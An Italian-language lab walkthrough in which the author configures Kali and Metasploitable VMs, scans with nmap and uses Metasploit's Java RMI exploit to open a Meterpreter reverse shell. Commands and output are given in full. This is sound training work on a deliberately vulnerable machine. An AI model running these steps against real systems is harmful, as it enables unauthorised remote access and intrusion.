

# EXPLOIT JAVA RMI

## Configurazione IP KALI LINUX

- 1)Configuro l'IP di Kali linux con comando: `sudo ip a add 192.168.11.111/24 dev eth0`
- 2)Controllo che la configurazione sia avvenuta con successo con comando: `ip a`

```
(kali㉿kali)-[~]
$ sudo ip a add 192.168.11.111/24 dev eth0

(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:d2:26:79 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.111/24 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::6777:46f0:35e4:3bfa/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(kali㉿kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data:
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=3.16 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.924 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.682 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.639 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=0.745 ms
^C
--- 192.168.11.112 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4051ms
rtt min/avg/max/mdev = 0.639/1.229/3.156/0.968 ms
```

## Configurazione IP METASPLOITABLE

- 1)Configuro l'IP della Metasploitable con comando: `sudo nano /etc/network/interfaces`
- 2)Riavvio la configurazione delle interfacce di rete con comando: `sudo /etc/init.d/networking restart`
- 3) Controllo che la configurazione sia avvenuta con successo con comando: `ifconfig`

```
GNU nano 2.0.7      File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

```

msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:f9:9c:06
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fef9:9c06/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3877 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2716 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3362813 (3.2 MB)  TX bytes:219711 (214.5 KB)
          Base address:0xd010 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:476 errors:0 dropped:0 overruns:0 frame:0
          TX packets:476 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:187389 (182.9 KB)  TX bytes:187389 (182.9 KB)

```

## Exploit Servizio Java RMI di Metasploitable

- 1) Avvio Metasploit con comando: [msfconsole](#)
- 2) Scansiono i servizi attivi sulla Metasploitable ed individuo il servizio Java RMI attivo sulla porta 1099 con comando: [nmap -sV 192.168.11.112](#)

```

msf6 > nmap -sV 192.168.11.112
[*] exec: nmap -sV 192.168.11.112

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-27 04:52 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00068s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.76 seconds

```

3) Uso l'exploit numero 11 con comando: `use 11`, ottengo le informazioni sulla configurazione dell'exploit con comando: `options`.

4) Configuro l'indirizzo ip della macchina target con comando: `set rhosts 192.168.11.112`, l'ip della macchina attaccante con comando: `set lhost 192.168.11.111` e l'httdelay con comando: `set httpdelay 20`.

```
msf6 > use 11
[*] Additionally setting TARGET => Linux x86 (Native Payload)
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (linux/x86/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.50.100  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                       |
|----|----------------------------|
| 2  | Linux x86 (Native Payload) |



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set lhost 192.168.11.111
lhost => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > set httpdelay 20
```

- 5) Avvio l'exploit con comando: `run` e ottengo una sessione meterpreter.
- 6) Ottengo la configurazione di rete della vittima con comando: `ifconfig` e le informazioni sulla tabella di routing con comando: `route`.

```
msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/6IkQd6o7 UP group default qlen 1000
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR to
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 2 opened (192.168.11.111:4444 → 192.168.11.112:48989) at 2024-09-27 04:35:52 -0400

meterpreter > ifconfig
Time 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
Interface 1
=====
Name          : lo
Hardware MAC   : 00:00:00:00:00:00
MTU           : 16436
Flags         : UP,LOOPBACK
IPv4 Address  : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff:

Interface 2
=====
Name          : eth0
Hardware MAC   : 08:00:27:f9:9c:06
MTU           : 1500
Flags         : UP,BROADCAST,MULTICAST
IPv4 Address  : 192.168.11.112
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : fe80::a00:27ff:fef9:9c06
IPv6 Netmask   : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff:

meterpreter > route

IPv4 network routes
=====

  Subnet      Netmask      Gateway      Metric  Interface
-----
  0.0.0.0     0.0.0.0      192.168.11.1  100     eth0
  192.168.11.0 255.255.255.0 0.0.0.0      0       eth0

No IPv6 routes were found.
```